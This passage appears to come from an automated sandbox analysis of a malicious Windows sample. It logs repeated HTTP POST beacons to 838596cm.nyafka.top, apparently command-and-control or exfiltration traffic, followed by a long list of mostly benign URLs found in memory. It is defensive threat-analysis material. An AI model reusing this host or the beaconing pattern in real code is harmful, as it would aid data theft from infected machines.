Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 1828Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: 838596cm.nyafka.top

Source: unknown

HTTP traffic detected: POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 838596cm.nyafka.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: wxl1r0lntg.exe, 00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: wxl1r0lntg.exe, 00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: wxl1r0lntg.exe, 00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: wxl1r0lntg.exe, 00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: wxl1r0lntg.exe, 00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: wxl1r0lntg.exe, 00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: wxl1r0lntg.exe, 00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: wxl1r0lntg.exe, 00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: wxl1r0lntg.exe, 00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp, drivEn760.exe, 00000003.00000003.2219049528.0000000005141000.00000004.00000020.00020000.00000000.sdmp, drivEn760.exe, 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmp, drivEn760.exe, 00000003.00000000.2038693989.000000000040A000.00000008.00000001.01000000.0000000A.sdmp, Everything.exe, 00000006.00000003.2229006860.0000000000BA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: wxl1r0lntg.exe, 00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: wxl1r0lntg.exe, 00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: wxl1r0lntg.exe, 00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: wxl1r0lntg.exe, 00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: powershell.exe, 00000039.00000002.2828823825.0000020D427D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000039.00000002.2828823825.0000020D427D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000001E.00000002.2781172333.000002D005B01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000031.00000002.2707000759.0000014E00001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: containerwebruntime.exe, 0000000E.00000002.2445359948.0000000002E3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namePUv
Source: powershell.exe, 00000039.00000002.2828823825.0000020D427D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: Everything.exe, 00000006.00000003.2222673709.0000000000B75000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2222133131.0000000000B73000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245768952.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245830909.0000000000CDB000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://support.voidtools.com/everything/Command_line_options
Source: Everything.exe, 00000006.00000003.2222673709.0000000000B75000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2222133131.0000000000B73000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://support.voidtools.com/everything/Command_line_options/
Source: Everything.exe, 0000000A.00000003.2245768952.0000000000CDA000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245830909.0000000000CDB000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://support.voidtools.com/everything/Command_line_optionsR
Source: Everything.exe, 00000006.00000003.2222077239.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229925355.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229823075.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229585702.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221177245.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://support.voidtools.com/everything/Search_commands
Source: Everything.exe, 00000006.00000003.2222077239.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229925355.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229823075.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229585702.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221177245.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://support.voidtools.com/everything/Search_syntax
Source: Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://support.voidtools.com/everything/Search_syntaxB
Source: powershell.exe, 00000039.00000002.2828823825.0000020D427D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: wxl1r0lntg.exe, 00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: drivEn760.exe, 00000003.00000002.2316067501.000000000040A000.00000004.00000001.01000000.0000000A.sdmp, Everything.exe, 00000006.00000003.2222077239.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.voidtools.com
Source: drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://www.voidtools.com/everything/beta-update.ini
Source: drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://www.voidtools.com/everything/beta-update.iniMozilla/5.0
Source: drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2222077239.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229925355.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000003.2229823075.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229585702.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000003.2221177245.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.voidtools.com/everything/update.ini
Source: Everything.exe, 00000006.00000003.2222077239.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229925355.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229823075.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229585702.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221177245.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.voidtools.com/everything/update.ini&P
Source: Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.voidtools.com/everything/update.iniV
Source: powershell.exe, 0000001E.00000002.2781172333.000002D005B01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000031.00000002.2707000759.0000014E00001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000039.00000002.2828823825.0000020D427D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2222673709.0000000000B75000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000003.2222133131.0000000000B73000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229585702.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.voidtools.com/
Source: Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.voidtools.com/C
Source: drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229823075.0000000000B99000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2222077239.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000003.2229506743.0000000000B95000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000002.2241116739.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221177245.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245744219.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245791189.0000000000CE6000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245938206.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000002.2246288546.0000000000CEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.voidtools.com/donate/
Source: drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: https://www.voidtools.com/donate/Help
Source: drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2222673709.0000000000B75000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000003.2222133131.0000000000B73000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2240665516.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229823075.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229585702.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.voidtools.com/downloads/
Source: drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2222077239.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229925355.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000003.2229823075.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229585702.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000003.2221177245.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.voidtools.com/downloads/#language
Source: Everything.exe, 00000006.00000003.2222077239.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229925355.0000000000B8E000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229823075.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229585702.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221177245.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.voidtools.com/downloads/#language2P
Source: Everything.exe, 00000006.00000003.2222673709.0000000000B75000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2222133131.0000000000B73000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2240665516.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229823075.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229585702.0000000000B7B000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2229536980.0000000000B77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.voidtools.com/downloads/b
Source: drivEn760.exe, 00000003.00000002.2322582469.0000000002726000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000003.2221996305.0000000000BCE000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000006.00000000.2219670131.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmp, Everything.exe, 00000007.00000000.2224034477.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000007.00000002.2228700188.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 00000008.00000000.2226818799.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000002.2246706702.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp, Everything.exe, 0000000A.00000000.2244353758.00007FF728D60000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: https://www.voidtools.com/downloads/https://www.voidtools.com/downloads/#languagehttps://www.voidtoo
Source: Everything.exe, 0000000A.00000003.2245528465.0000000000CD4000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245716930.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, Everything.exe, 0000000A.00000003.2245320628.0000000000CD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.voidtools.com/downloads/n
